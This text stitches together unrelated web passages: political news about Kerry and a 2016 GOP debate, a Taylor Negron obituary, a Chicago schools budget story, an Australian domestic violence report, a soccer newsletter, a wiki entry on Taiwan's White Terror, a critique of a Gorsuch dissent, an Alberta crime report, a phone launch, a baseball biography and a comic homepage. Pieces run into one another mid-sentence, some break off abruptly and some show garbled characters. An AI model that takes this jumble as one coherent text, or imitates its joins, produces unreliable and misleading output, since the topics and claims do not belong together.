One top Kerry adviser said this week that the senator from Massachusetts is already reconciling himself to Clinton being the pick. Kerry will also be the chairman of the Senate Foreign Relations Committee in the 111th Congress, a post he sees as an opportunity to "carve out a legacy as a senior statesman."He had roles on numerous sitcoms, including 'Seinfeld' and 'Curb Your Enthusiasm'
Taylor Negron, known for roles in numerous TV shows and films including Fast Times at Ridgemont High, has died. He was 57.
Negron's death was announced by cousin Chuck Negron, a former member of the rock band Three Dog Night. According to media reports, Taylor died after battling cancer.
See more Hollywood's Notable Deaths of 2014
"May he rest in peace," Chuck said while fighting back tears in a video posted to YouTube. He said he was with Taylor when he died, as were Taylor's mom and brother Alex.
Taylor played the pizza guy in Fast Times at Ridgemont High. He also appeared in such films as Stuart Little, The Last Boy Scout, Angels in the Outfield and Better Off Dead.
Taylor had roles on numerous TV series, including Friends, Seinfeld, ER and Curb Your Enthusiasm.
In addition, he was an accomplished stand-up comedian, and several of his humorous essays had been published. He was also a painter, playwright and poet.
Chuck's video can be seen below.
Email: Ryan.Gajewski@pgmedia.org
Twitter: @_RyanGajewski1016 SHARES Share Tweet Tumblr Email Print
By SUSANA FERREIRA
When the drugs came, they hit all at once. It was the eighties, one in ten residents slipped into the deep of heroin addiction—bankers, university students, carpenters, socialites, miners—and Portugal fell into a panic.
The way Álvaro Pereira tells the story, it all began in the south. The eighties were prosperous in Olhão, a Portuguese fishing town thirty-one miles west of the Spanish border. Coastal waters filled nets from the Gulf of Cádiz to Morocco, local and international tourism was growing, and currency flowed with relative ease throughout the southern Algarve region. Portugal had emerged from a seventies full of massive changes: the death of long-ruling President António Salazar, the fall of his repressive government, the end of brutal colonial wars, and the bumpy return of thousands of soldiers and colonial settlers. Sunny Olhão, brimming with potential in this new, freer era, was a prime place for a young doctor to set up shop, and Álvaro Pereira moved south with his wife to do just that.
I met Pereira three decades later. He was sprightly and charming, with a trim athletic build, thick wavy white hair that bounced when he walked, a gravelly drawl, and a seemingly bottomless reserve of warmth. He addressed colleagues as “sweetie,” “darling,” “my beloved,” treating every doctor, nurse, patient, and passerby as though they were the highlight of his day. It had long been his way.
A general practitioner can get |
negotiating table in the hopes of signing an agreement similar to the one we reached last January that offered teachers a healthy raise over the life of the contract.”
Claypool has said other raises included in that offer more than equal out the loss in take-home pay caused by phasing out the pension pickup.
Along with the budget, the Board of Education unanimously approved district requests to issue up to $945 million in bonds for capital projects, and to raise CPS’ line of credit up to $1.55 billion for the upcoming year.
Despite Claypool’s claims that the fiscal year 2017 budget is balanced, CPS still awaits the new union contract and approval of $215 million in state funding toward the teacher pension fund that has not yet been finalized. And with no deal in place, Moreno said that budget could increase tensions between the sides by assuming CTU will approve additional classroom cuts.
“In the budget, it’s built in that there are labor concessions, so I mean, if they approve it, they’re still expecting that we’re going to concede and accept more cuts," Moreno said, prior to the board's budget vote. "We always are hopeful that we don’t have to go on strike. Teachers want to be in the classroom teaching."
Follow our reporters on Twitter: @ByMattMasterson / @BrandisFriedman
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August 8: Now that Chicago Public Schools has released its budget plans for the coming year, can the district and the Chicago Teachers Union finally nail down a contract agreement?
CPS to Cut More Than 1,000 Teaching, Support Staff Positions
August 5: Declining enrollment and vacancies at other schools cited as Chicago Public Schools announces layoffs for hundreds of educators.
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July 13: Though the school year has been rife with fiscal crisis, Chicago Public Schools’ principals now know that the cuts to their school budgets will not be as deep as threatened in recent months.Insult after insult flew during the Fox News GOP debate on March 3. Here’s a look at some of the choice words rivals Marco Rubio, Ted Cruz and Donald Trump had for one another, while John Kasich stayed out of the fray. (Jenny Starrs/The Washington Post)
Insult after insult flew during the Fox News GOP debate on March 3. Here’s a look at some of the choice words rivals Marco Rubio, Ted Cruz and Donald Trump had for one another, while John Kasich stayed out of the fray. (Jenny Starrs/The Washington Post)
It’s highly questionable whether anyone emerged as the winner in Thursday’s Republican presidential debate in Detroit, though the candidates’ spinmeisters would all quibble with that. There was one clear loser: the Grand Old Party.
The 11th debate of the Republican campaign tested the patience and the limits of viewers and voters. Insults and interruptions overwhelmed sober discussion. The raucous audience, now a staple of the GOP debates, only added to the sense of game-show politics.
Can anyone credibly suggest that the Republicans put their collective best face forward Thursday night? At a time when the party is in crisis over the possibility that Donald Trump will become the nominee, the debate did next to nothing to make Trump or his three remaining rivals look or sound presidential.
Designed to define candidates’ differences, the debates have become tedious and repetitious rather than enlightening or illuminating. No new information was imparted Thursday, no truly new arguments advanced. Even the insults were tiresome.
Republican National Committee Chairman Reince Priebus, who drew criticism earlier for trying to limit the number of debates, must be wishing he had pushed for even fewer, given the tone and tenor of Thursday’s forum in Detroit and last week’s mud bath in Houston.
1 of 17 Full Screen Autoplay Close Skip Ad × Top quotes from the 11th Republican presidential debate View Photos The candidates shared these comments during the Fox News GOP debate in Detroit. Caption The candidates shared these comments during the Fox News GOP debate in Detroit. Buy Photo Wait 1 second to continue.
Thursday’s debate came at the end of an extraordinary day in the Republican campaign — the kind of day no one can remember ever seeing — when the party’s 2012 nominee, Mitt Romney, delivered a scathing attack on the 2016 front-runner as unfit to be president and unworthy to lead the party.
[GOP divisions appear to deepen]
Romney did what none of Trump’s rivals for the nomination has done. He set out a slashing and coherent attack on the New York billionaire. He described Trump as a fraud and a phony, as a failed businessman, and as an aspiring politician with no ideological moorings. Trump’s policies, Romney warned, would be disastrous domestically and dangerous internationally.
It was left to Trump’s rivals — Sen. Marco Rubio (Fla.), Sen. Ted Cruz (Tex.) and Ohio Gov. John Kasich — to drive home those arguments Thursday night. At times Cruz and Rubio tried, attempting to unmask Trump on immigration and foreign policy. Meanwhile, Kasich continued his strategy of trying to stop Trump by declining to criticize him.
But then, as if to take a hammer to their own arguments that Trump is not the kind of candidate Republicans need to lead them into the fall campaign, Rubio, Cruz and Kasich closed out the evening by saying, however grudgingly, that they could support him if he won the nomination.
Throughout the debate, Trump only helped reinforce the substance of some of Romney’s criticisms. He deflected virtually every question about policy by launching personal attacks on his rivals or resorting to generalities and broad promises. He struggled to defend contradictory statements he had made in the past.
In an extended exchange with Fox News anchor and his onetime nemesis Megyn Kelly, he tried to talk away a class-action lawsuit brought against Trump University, dismissing it as minor and predicting that after a few more years of litigation, he will win the argument with the dissatisfied students.
Republican presidential candidates Marco Rubio, Donald Trump, John Kasich and Ted Cruz feuded over rhetoric, elections and immigration at the March 3 debate in Detroit. Here are the key moments. (Sarah Parnass/The Washington Post)
Trump dominated the evening in terms of time spent talking, but he also dominated in time spent on the defensive. Given the pattern of the campaign and of the past three debates, he probably did nothing to undermine the support he already has.
It’s questionable, however, whether he added new voters to his coalition — voters he might need if the field narrows further. It’s equally questionable whether Kasich, Cruz or Rubio came out of the debate enhanced or standing above the other candidates.
[Trump comes under attack in debate]
The Republican Party is in terrible turmoil over Trump, with members of what passes for the establishment frantic to find a way to slow his march to victory. But winning the nomination outright by accumulating delegates in the primaries and caucuses now seems exceedingly difficult for any of Trump’s rivals. The course that seems to have emerged is a collective hold-the-line strategy that would throw the decision to the national convention in July.
Cruz once thought a victory in South Carolina and a big night on Super Tuesday would put him in the driver’s seat. That plan crumbled when Trump won South Carolina and carried seven of the 11 contests this week. Cruz salvaged the night by winning his home state of Texas, plus Oklahoma and Alaska. But he has yet to show that he can truly consolidate conservatives in the way he needs to.
Rubio has tried to play the long game, but it’s become a much longer game than first envisioned. The senator finally picked up his first victory Tuesday, in the Minnesota caucuses. But on a night when he said the key was accumulating delegates, he fell far behind both Trump and Cruz. In delegate-rich Texas, he managed to come away with just three of the 155 at stake. If that isn’t a failure of his strategy, what is?
Kasich came close in tiny Vermont on Tuesday and finished second in Massachusetts, a whisker ahead of Rubio. In the South, he cratered, scoring in single digits. In some of those states, he trailed Ben Carson, who has since gone to the sidelines with all the other candidates who began the race last year. The lone governor left in the campaign is still looking for his first victory.
A viable — perhaps tenuous is a better term — strategy for stopping Trump requires all three to win their home states. Cruz has delivered. Rubio and Kasich will be tested in Florida and Ohio on March 15, when delegates can be awarded on a winner-take-all basis. If either loses at home, the pressure will mount to get out.
It seems they all need one another now to keep gathering enough delegates collectively to deny Trump a first-ballot victory at the convention. Under that strategy, chaos awaits the party in Cleveland, just as it was chaos that seemed the order of the night in Detroit. The debates, a proxy for the nomination battle itself, have ceased being the GOP’s friend.
For more Take columns, visit washingtonpost.com/politics.In August 2015, the Australian Senate Finance and Public Administration References Committee handed down their report into domestic violence in Australia. It made a number of positive findings and recommendations with regard to male victims of family violence. The most important was Recommendation 15:
This follows on from the August 2012 report of The NSW Government Legislative Council’s Standing Committee on Social Issues inquiry into domestic violence trends and issues in NSW, which recognised:
Other relevant findings of the Senate report include the following.
1.11 The committee acknowledges that further work is required to address domestic and family violence against men and the data on its prevalence, noting that only 22 per cent of the respondents in the Public Safety Survey undertaken by the ABS were male.
4.8 While the prevalence data in the PSS was often cited in submissions, a limited number of submissions raised issues with methodology of the PSS. For example, Mr Paul Mischefski, Vice-President of Men's Wellbeing Inc, Queensland, argued:
Despite repeated calls for this highly-regarded and quoted survey to achieve gender parity and include an equal number of female and male respondents, the survey has consistently shown an immense bias towards a female survey sample. The 2005 survey included 11,800 females but only 4500 males. This heavy gender bias became even worse in the 2012 survey, where only 22% of respondents were male – less than one-quarter.
Impacts on male victims
2.35 While much of the evidence was focused on the impact of domestic and family violence on female victims, the committee did receive some evidence in relation to the impacts on male victims.
2.36 The One in Three Campaign quoted from the findings of a study conducted in 2010 by researchers at the Psychology Department of Edith Cowan University:
The data suggest[s] that male victims of intimate partner abuse and their children suffer a range of consequences, such as psychological distress (including psychological disorders such as depression and anxiety disorders), suicidal ideation, impaired self-concept (in particular around one's sense of masculinity), and loss of work.
2.37 The researchers noted that despite these impacts, men were reluctant to disclose the abuse or seek help: The reasons for this are complex. The major factors appear to be men's denial of what is happening; their fear that they will not be believed, and their fear that even if they are believed they will not be assisted or will be blamed for the abuse. Participants believed that men would find it easier to seek help and disclose the abuse if there were greater public acknowledgement that males can also be victims of abuse, if there were appropriate services for men, and if they were confident that they will be given effective help.
2.38 Dr Elizabeth Celi also described to the committee some of the impacts on male victims of domestic and family violence:
[T]here is a lot of shame in this issue and a lot of embarrassment already that they are in this position, and they have not received public education that certain psychologically abusive behaviours by their female partner—or even by other men in their lives—are actually abnormal and unproductive, and can have an effect on their mental and emotional health. Not having that information, they do not have a gauge of what is normal and when it becomes abnormal and unproductive. So it will take a while for men to actually feel competent to report their experience. The other factor we need to consider is the social health aspects for men, where people disbelieve or invalidate their experience. That is a form of revictimisation. For someone who is already receiving mental and emotional abuse, social abuse or financial abuse, it is a very insidious and difficult-togauge thing. To then be disbelieved, or invalidated or told to'suck it up' et cetera further inhibits their ability to report it. So it is easier actually to deal with it by yourself.
4.20 The One in Three Campaign also referred to NSW statistics, noting the NSW Bureau of Crime Statistics and Research (BOCSAR) findings:
BOCSAR also examined trends and characteristics of domestic homicides in NSW over the period January 2003 to June 2008. During this time, there were 215 victims of domestic homicide; 115 females and 100 males (almost one in two victims were male). Intimate partners were responsible for 43 per cent of domestic homicide victims (70 females and 23 males - one in four were male).
Domestic and family violence against men
4.21 As set out above, the PSS provides some data on the prevalence of domestic and family violence against men. However, submissions also highlighted other data which is available. For example, the One in Three Campaign cited the 1999 South Australian Interpersonal Violence and Abuse Survey which found:
32.3 per cent (almost one in three) victims of reported domestic violence by a current or ex-partner (including both physical and emotional violence and abuse) were male.
4.22 The NSW Government submission also provided some data on the prevalence of domestic and family violence against men:
In the twelve months to March 2014, 69 per cent of victims of domestic violence-related assaults in NSW were women. There were 21,664 female victims compared to 9,925 male victims. This equates to a rate per 100,000 population of 594 for females and 277 for males.
Services for male victims
8.40 Mr Greg Andresen, Senior Researcher, One in Three Campaign, told the committee that many male victims of domestic and family violence were unable to access crisis support services because most services catered primarily or exclusively for women. Noting that crisis support services are primarily the responsibility of the states and territories, he suggested there needed to be at least:
…a modicum of services on the ground so that when those men do come forward, there are some services for them to go to. At the moment if we have a flood of men coming forward…there are a whole lot of closed doors, that revictimises those men. We are not saying we want the same amount of services that women have, but just a modicum so that there is something for those men.The “Jose’s death-stare†edition View this email in your browser HOWLER BULLETIN IS SUPPORTED BY NIKE SOCCER With the U.S.-Korea match tomorrow, we thought it would be a good time to revisit our issue-three story about the U.S. national team’s strategy of recruiting foreign-born talent. See more below. 1. Jurgen didn’t start the German invasion
This week, we published a story from issue three that reveals how the 2008 discovery of Mikkel Diskerud by then-U.S. U-20 coach Thomas Rongen led to a serious effort by the federation to identify and track foreign-born prospects for the team. Check out Seth Vertelney’s story here. 2. Issue four shipments
Many of you have received issue four—we love seeing the photos on Twitter and Instagram!—but some of you have not. We’re aware of the issue and all affected readers for whom we have email addresses received a separate note about the situation earlier today. If your copy has not arrived and you did not receive an email, please get in touch with us at hello@howlermagazine.com. Send us your best caption for Chelsea FC’s Instagram photo. The winning entry will be featured in the next Bulletin and win a free copy of Howler for you or a friend. Email captions@howlermagazine.com. LAST WEEK’S WINING CAPTION
Forget about the
match, mate. Justin Bieber
got ARRESTED?
—Christian Dietrich “This is not the best league in the world. This
is football from the 19th century.†—Jose Mourinho on West Ham’s style of play Photo by Manuel Menal Estadio Hernando Siles
Location: La Paz, Bolivia
Year built: 1931 Home team: The Strongest, Club Bolivar, Bolivian national team Capacity: 38,000 At 11,800 feet, the Hernando Siles is one of the highest stadiums in the world. Two of its tenants, Club BolÃvar and The Strongest, are Bolivia’s strongest performers at home and abroad with over twenty domestic championships and fifty appearances in the Copa Libertadores between them. (The stadium is not the official home ground of either team, but both play most of their games there due to its larger capacity.) In addition to its domestic duties, the Hernando Siles hosted multiple matches during the 1997 Copa América, including Bolivia's semifinal upset win against Mexico and then its loss to Ronaldo, Zé Roberto, and the Brazilians in the final. More recently, the stadium has been at the center of Bolivia’s struggles with FIFA. In May 2007, FIFA announced that La Paz’s extreme altitude created an unfair advantage for the home squad, banning qualifiers from being played above 8,200 feet. Bolivia protested, and weeks later FIFA raised the maximum to 9,840—and granted an exception to games played at Estadio Hernando Siles. —Sam Patterson The Cactus Pricks
Team: FC Tucson
Founded: 2011
Members: 74
HQ: Playground Bar and Lounge
Keaton Koch, president:
We support an amateur team in 105 degree weather. We support and promote the growth of soccer throughout the Tucson region and Southern Arizona, including MLS spring training. We are the reigning Desert Derby champions, a charity match against a neighboring supporters group, with whom we helped raise funds for the Wounded Warrior Project. We've followed FC Tucson's growth from the beginning—from when they were playing matches at a high school to their very own soccer-specific stadium.In Taiwan, the White Terror (Chinese: 白色恐怖; pinyin: báisè kǒngbù) was the suppression of political dissidents following the February 28 Incident.[1]
The period of martial law lasted for 38 years and 57 days from 19 May 1949 to 15 July 1987.[2] Taiwan's period of martial law had been the longest period of martial law in the world at the time it was lifted, but has since been surpassed by the incumbent Syrian more-than-half-century martial law, which lasts from 1963.[3]
Time period [ edit ]
The term "White Terror" in its broadest meaning refers to the entire period from 1947 to 1987.[4] Around 140,000 Taiwanese were imprisoned during this period, of which from about 3,000 to 4,000 were executed for their real or perceived opposition to the Kuomintang (KMT, Chinese Nationalist Party) government led by Chiang Kai-shek.[2] Most actual prosecutions, though, took place in 1950–1953. Most of those prosecuted were labeled by the Kuomintang as "bandit spies" (匪諜), meaning spies for Chinese communists, and punished as such.
The KMT imprisoned mostly Taiwan's intellectual and social elite out of fear that they might resist KMT rule or sympathize with communism.[2] For example, the Formosan League for Reemancipation was a Taiwanese independence group established in 1947 which the KMT believed to be under communist control leading to its members being arrested in 1950. The World United Formosans for Independence was persecuted for similar reasons. However, other prosecutions did not have such clear reasoning; in 1968 Bo Yang was imprisoned for his choice of words in translating a Popeye comic strip. A large number of the White Terror's other victims were mainland Chinese, many of whom owed their evacuation to Taiwan to the KMT. Often, after having come unaccompanied to Taiwan, these refugees to Taiwan were considered more disposable than local Taiwanese. Many of the mainland Chinese who survived the White Terror in Taiwan, like Bo Yang and Li Ao, moved on to promote Taiwan's democratization and the reform of the Kuomintang. In 1969, future president Lee Teng-hui was detained and interrogated for more than a week by the Taiwan Garrison Command who demanded to know about his "communist activities" and told him "killing you at this moment is as easy as crushing an ant to death." Three years later he was invited to join the cabinet of Chiang Ching-kuo.[5]
Fear of discussing the White Terror and the February 28 Incident gradually decreased with the lifting of martial law in 1987, culminating in the establishment of an official public memorial and an apology by President Lee Teng-hui in 1995. In 2008, President Ma Ying-jeou addressed a memorial service for the White Terror in Taipei. Ma apologized to the victims and their family members on behalf of the government, and expressed the hope that Taiwan would never again experience a similar tragedy.[6]
Legacy [ edit ]
Since the lifting of martial law in 1987, the government has set up the 228 Incident Memorial Foundation, a civilian reparations fund supported by public donations for the victims and their families. Many descendants of victims remain unaware that their family members were victims, while many of the families of victims from Mainland China did not know the details of their relatives' mistreatment during the riot.[citation needed] Those who have received compensation more than two times[citation needed] are still demanding a trial of the still-living soldiers who were responsible for death of their loved ones.
Film [ edit ]
Hou Hsiao-hsien's A City of Sadness, the first movie dealing with the events, won the Golden Lion at the 1989 Venice Film Festival.[7] The 2009 thriller Formosa Betrayed also relates the incident as part of the motivation behind Taiwan independence activist characters.
Literature [ edit ]
Taiwanese-American Julie Wu's novel The Third Son describes the event and its aftermath from the viewpoint of a Taiwanese boy.[8] In her 2013 novel, The 228 Legacy, author Jennifer J. Chow brings to light the emotional ramifications for those who lived through the events yet suppressed their knowledge out of fear. It focuses on how there was such an impact that it permeated throughout multiple generations within the same family.[9]
Shawna Yang Ryan's novel, Green Island [10] tells the story of the incident as it affects three generations of a Taiwanese family.
Games [ edit ]
In 2017, Taiwanese game developer Red Candle Games launched Detention, a survival horror video game created and developed for Steam. It is a 2D atmospheric horror side-scroller set in 1960s Taiwan under martial law following the 228 incident. The game also incorporates religious elements based on Taiwanese culture and mythology. The game has received favourable reviews from critics. Rely On Horror gave the game a 9 out of 10, saying that "every facet of Detention moves in one harmonious lockstep towards an unavoidable tragedy, drowning out the world around you."[11]
Memorials [ edit ]
See also [ edit ]
Notes [ edit ]
References [ edit ]
English language
Chinese language
藍博洲，1991，幌馬車之歌。台北：時報文化。
藍博洲，1993，白色恐怖。台北：揚智。
呂芳上計劃主持，1999，戒嚴時期台北地區政治案件相關人士口述歷史：白色恐怖事件查訪（上）。台北：台北市文獻委員會。
任育德，2003，從口述史看1950年代政治案件的女性受刑人，近代中國第154期。
台灣省文獻委員會編，1998，台灣地區戒嚴時期五零年代政治案件史料彙編（一）：中外檔案。南投：台灣省文獻委員會。
魏廷朝，1997，台灣人權報告書，1949-1995。台北：文英堂。
朱德蘭，2001，崔小萍事件，南投：省文獻會。Judge Neil Gorsuch
– By: Jeff Epstein
The PDF of the Tenth Circuit Court’s ruling is referred to in this article by the abbreviation “TCC:3-4” (in this example, referring to pages 3 to 4).
UPDATE: Clarified the second-to-last paragraph based on reader feedback.
UPDATE 2: I created a video where I talk about this article.
UPDATE 3: Additional the “narrow and myopic” paragraph.
A near-deadly night for Alphonse Maddin
Somewhere in Illinois, at 11 o’clock on a freezing night in January, 2009, Alfonse Maddin pulled his tractor-trailer over to the side of the road. He reported to his company that the brakes on his trailer had frozen, he was running out of gas, and the heater in his cabin had stopped working. The company told him to wait an hour for a repair crew.
Two hours later, he was awakened by a phone call from a family member, only to discover that his limbs and torso were going numb (TCC:3-4), he was having difficulty breathing, and his speech was becoming slurred. According to Mr. Maddin, “My skin was burning and cracking.” It was -7°F inside the truck cabin and -27° outside.
Maddin called the company again, and again, they told him to continue waiting; someone was on their way. Thirty more minutes passed, and Maddin decided to unhitch the trailer. In this video (at around the sixteen minute and thirty second mark), he describes the situation:
When I stepped out of the truck I was concerned that I may fall because I was on the verge of passing out. I fear that if I fell I would not have the strength to stand up and would die. I walked to the back of the trailer to place a lock on the cargo doors. The distance that I walked to the back of the trailer seemed like an eternity, as my feet absolutely had no feeling at all.
Despite orders not to, Maddin detached the trailer, drove for gas, warmed his body, and returned within thirty minutes. By this point, the repair crew was working on the trailer and they ultimately fixed the heater as well. Maddin proceeded to complete his route.
Maddin is fired and is not vindicated until seven years later.
One week later, Maddin was fired for abandoning his cargo and disobeying superiors. He filed a complaint with the Occupational Safety and Health Administration (OSHA), which was dismissed. The Department of Labor then ruled in his favor, and the company appealed the decision to the Tenth Circuit Court.
Here is the statute that the company, TransAm Trucking, used to justify their decision (TCC:8):
[It is] unlawful for an employer to discharge an employee who “refuses to operate a vehicle because…the employee has a reasonable apprehension of serious injury to the employee or the public because of the vehicle’s hazardous safety or security condition.”
The company acknowledged that operating the (entire) vehicle under these conditions would have been unsafe. Had Maddin refused to operate it, TransAm Trucking would have been unable to legally terminate him under this statute. But he didn’t refuse to operate the vehicle; he operated the vehicle. Maddin felt that operating it (the cab only) was the only safe option, but because “operate” is not a permitted or protected action under the statute, the company claimed the right to fire him.
In August of 2016, the court ruled in Maddin’s favor, deciding that his dismissal was illegal and in violation of whistleblower protections. Specifically, they found that his choosing to operate the vehicle in a safe manner was his way of refusing to operate it unsafely.
TransAm Trucking was ordered to expunge all negative records about Mr. Maddin, both stored internally and as communicated to others. They were also ordered to retroactively pay his wages plus interest. (TransAm unsuccessfully fought the back-pay ruling by stating that they should not have to pay for the justice system’s “excessive delay in resolving the matter (TCC:18).” Where is the consideration to the suffering that Maddin endured during this same time? Losing all pay, the burden of this court case, and the company’s negative reports about this incident when applying for other jobs.)
Neil Gorsuch is the only dissenting judge
Two of the three justices on the Tenth Circuit Court ruled in Mr. Maddin’s favor. The dissenting judge was Neil Gorsuch, President Trump’s nominee for the currently-vacant ninth seat on the Supreme Court of the United States.
In his dissent, Gorsuch acknowledges (TCC:19) that the option of dragging the trailer is “an illegal and maybe sarcastically offered option.” He also acknowledges that the only other option, which Gorsuch describes as “legal if unpleasant,” is to continue waiting. Further, Gorsuch states that TransAm “permitted him to sit and remain where he was and wait for help,” as if waiting to die was only one of several options afforded to Maddin by his superiors.
Here is the crux of Gorsuch’s argument (TCC:20):
My colleagues suggest that the Department should be permitted to read the statutory phrase “refuse[] to operate” to encompass its exact opposite and protect employees who operate their vehicles in defiance of their employers’ orders.
The majority justices state that “Maddin’s refusal to operate the truck while dragging the trailer was ‘inextricably intertwined’ with TransAm’s decision to terminate him (TCC:5),” but Mr. Gorsuch dismisses Maddin’s suffering as inconsequential and irrelevant (TCC:19):
It might be fair to ask whether TransAm’s decision was a wise or kind one. But it’s not our job to answer questions like that. Our only task is to decide whether the decision was an illegal one.
The letter of the law placed Mr. Maddin in a situation that was both absurd and impossible. He had exactly two options, both of which, from Maddin’s point of view, were a clear and present danger to himself or to others. One was to stay with his cargo and potentially die of hypothermia. The other was to drive under frozen conditions, dangerously impaired by oncoming hypothermia, dragging the trailer with its brakes constantly applied, at 10 to 15 miles an hour, while other vehicles traveled around him at 75 miles an hour.
In addition, Gorsuch’s focus on “refused to operate” is narrow and myopic. The intention of the law is to prevent harm. Its ideal wording would be “refused to operate the vehicle unsafely,” where emphasis is placed on “unsafely,” not “refused.” Whether that harm would be caused by operating or not operating, or done with the whole truck or part of the truck, is not important. The majority justices criticized Gorsuch’s dissent as “simply choosing a favorite dictionary definition of the word [refused]”, to essentially rule in whatever way is desired (TCC:11).
Gorsuch consistently elevates this kind of secondary detail to the primary one. What this means is that, to Neil Gorsuch, the precise and literal letter of the law is more important than the human condition. This is especially true when doing so benefits big business by ignoring the spirit of laws which are intended to protect the individual. The case of Alphonse Maddin is only one example of a judge who consistently interprets the law in favor of corporations and the powerful, whose decisions advance conservative beliefs (see the executive summary), and who “dismiss[es] claims asserted by people of color, women, and disabled people” (Maddin is African-American).
After forty years of corporate-friendly rulings, putting Neil Gorsuch on the Supreme Court will only be a further blow to individual rights.
Discussion about this article on Reddit/Politics.A small community in northern Alberta is coming to grips with a stabbing in a work camp that left a man and woman dead earlier this week.
"The brutality of the crime is what really shook the community up," said Bill Neufeld, the reeve of Mackenzie County.
Hally Dubois, 50, and David Derksen, 37, have been identified as the two people killed in the grisly attack Tuesday at the Berland open work camp, about 50 kilometres outside Fox Creek, Alta.
Police were called to the camp, a facility for oil and gas and logging employees to stay overnight while working at remote sites, just before 2 a.m. Tuesday. There they found the two people dead.
Shot while being arrested
Police later found a suspect and shot him while taking him into custody. He was taken to hospital with serious injuries.
Daniel Goodridge, 28, of Edmonton is charged with first-degree murder, second-degree murder and interfering with human remains in the attack.
Neufeld said that the incident was witnessed by two men who both live in the community.
"They witnessed it and they were the ones chased by the attacker there into the bush," Neufeld said. "They're shook up pretty bad."
Goodridge is facing two counts of assault with a weapon against two other men, who were not the witnesses Neufeld described, and an additional count against RCMP Const. Bradley Schram.
Neufeld said the community is looking into providing counselling for the witnesses.
"They had a real harrowing experience," he said.
Abe Klassen was a childhood friend of Derksen.
"He was a good friend and a hard worker," Klassen said. "He was good to get along with."
'Wanted to live for the Lord'
He said Derksen was an experienced logger and equipment manager who was working in Fox Creek to set up the work camp. While his friend had made some "not so wise" choices in the past, Klassen said, he had recently become deeply religious and was "making changes" in his life.
"He was a different man. He just wanted to live for the Lord."
Klassen said Derksen's family is still in shock over the death, but is working to try to forgive the person responsible for the killing.
"How can anyone be that cold, how can anyone do that?" he asked.
"I just pray the man who did this will be able to see what he has done and repent."
Goodridge is scheduled to appear in Fox Creek provincial court on July 27.Canada-based low-cost tablet and smartphone maker, DataWind has launched another smartphone in its PocketSurfer series. Called as PocketSurfer GZ, the phone is priced at Rs. 1,499 and comes with 1 year free internet browsing.
DataWind is popular for offering low-budget educational tablet computers. The company aims to drive the cost of technology downwards so that it becomes affordable to everyone and is already taking steps in that direction by launching such an affordable smartphone.
“We are focused on driving the cost downward to a level where access to technology becomes universally affordable and democratization of technology finds its true meaning. Therefore, this new launch of smartphone at just Rs 1499 is a step in that direction. This will certainly enhance the connectivity in the developing nations,” said Suneet Singh Tuli, CEO, DataWind.
However, please note that even though PocketSurfer GZ is priced very competitively, it is still not the most affordable smartphone as ‘Freedom 251’ smartphone from Ringing Bells still owns that spot and is priced at just Rs. 251.
Besides PocketSurfer GZ, the company offers many other smartphones as well, all bundled with 1 year of free internet access ranging up to Rs. 5,999.
PocketSurfer GZ Specifications
PocketSurfer GZ sports a touch-screen, rear camera, and runs on Linux Operating system. The company didn’t reveal any more details about the phone so we are guessing that the other specifications are not mentioning.
If we are to take a rough guess then, we would assume it to have 512 MB RAM at max, and a weak battery, something close to 1500 mAh.
“Hands-free communication has become extremely important and we feel strongly that this technology should reach every corner of the world. DataWind aims to breaks the affordability barriers and bandwidth constraints of networks touching the mass of India at a whole new level,” Tuli added.
According to IDC, DataWind is the market leader in the Tablet market in India. Even though the overall tablet market has stagnated in the country, DataWind’s tablet shipments have grown from at a strong 33.5% over the previous quarter in the Q1 2016. This indicates that there is a strong demand for DataWind tablets as other players are still not offering entry-level tablets at a competitive price. I would love to see some Chinese brands coming up decent tablets at competitive pricing.Nyjer Jamid Morgan (born July 2, 1980) is an American retired professional baseball outfielder. He has played in Major League Baseball (MLB) for the Pittsburgh Pirates, Washington Nationals, Milwaukee Brewers, and Cleveland Indians, in Nippon Professional Baseball (NPB) for the Yokohama DeNA BayStars, and in the KBO League for the Hanwha Eagles. Morgan has mainly played center field during his MLB career.
In his youth Morgan played ice hockey, reaching the Major Junior level with the Regina Pats of the Western Hockey League in 1999–2000. Following that season, Morgan turned his focus exclusively to baseball and was drafted by the Pirates in the 33rd round of the 2002 MLB draft.
Early life [ edit ]
Morgan was born in San Francisco. When he was seven years old, he became interested in playing ice hockey after watching the ice hockey tournament at the 1988 Winter Olympics on television.[1] When Morgan was 16, after playing in numerous tournaments across the United States and Canada, he was recruited by the Vernon Vipers of the British Columbia Hockey League (BCHL).[2]
Although Morgan did not make the Vipers' team after participating in its training camp, he played two games with the team during the 1996–97 season as an affiliate player in which he recorded ten penalty minutes.[3][4 |
that he knew Connick was trying to oust a significant number of the tribe’s members, but he believed at the time that the ends justified the means. If the audit only left the “real Indians,” wouldn’t that be a good thing? “Let’s just ask the simple question: Could Marvin Kempf be right?” he barks, lapsing into the third person. “Could there actually be some truth behind what he’s saying?”
Given the seemingly endless stream of conflicting motives and agendas that have fueled the never-ending power struggles among the Snoqualmie people, it can be difficult to parse exactly which solution, if any, would best serve the tribe. For that matter, there may be a tendency to believe there’s little that anyone can do to clean up the mess because the people who have the power to do it—namely the Snoqualmie themselves—haven’t been able to after more than a decade.
But that’s exactly what the Bureau of Indian Affairs wants you to think, says Stephen Gomes. “The reality of the BIA—and I hate to say this—is that it doesn’t operate in the interest of the Native Americans. It never has,” he says. “The whole goal of the BIA was to encourage assimilation as fast as possible. And it’s a complete surprise to them that the Indians didn’t assimilate. Now they look at it as a burden, as a huge withdrawal of resources from the United States. The BIA has been completely uncooperative with the true, traditional Snoqualmie people.” In other words, a group of people that was victimized and marginalized for centuries is being victimized and marginalized again—not just from the outside, but from within as well.
And that may be the best argument in Marvin Kempf’s favor. Many of the people who have had the power to effect change within the tribe didn’t have a legitimate claim to it. So no matter what Kempf’s motives are for speaking up and trying to protect the “real Indians,” the corrections he says he’s after would without question bring some semblance of order to the tribe. And for the first time since it gained recognition more than 12 years ago, those who are legitimately entitled to control what happens next could finally—finally—be in control. “I’m not out looking for 15 minutes of fame,” Kempf says. “I’m hoping that we get the true families back to where we belong.” Because even though Native Americans like the Snoqualmie can’t reclaim their past, it only makes sense that they have some say over their future.
Published: January 2013Home for the comic Opalond VII
This place has been in need for an update way too long. It shall happen. But it will appear to be 'down' and lack pages for a while. Ever so slowly, ( I have not given up yet XD ) chapter 7 is in promising progress, part one is almost done (30 pages), part two has a few completed pages. The optimistic plan is to get a new fresh homepage ready for when chapter 7 is ready to be posted. (I'm just slow on deciding what I want.. eek!) ( Also, it appears that the PHP used on this site is outdated now. I was just a little late to the party! XD )
Meanwhile you can find me online on deviantArt under the name Solkatt. Solkatt on deviantArtSign up for the best newsletter EVER!
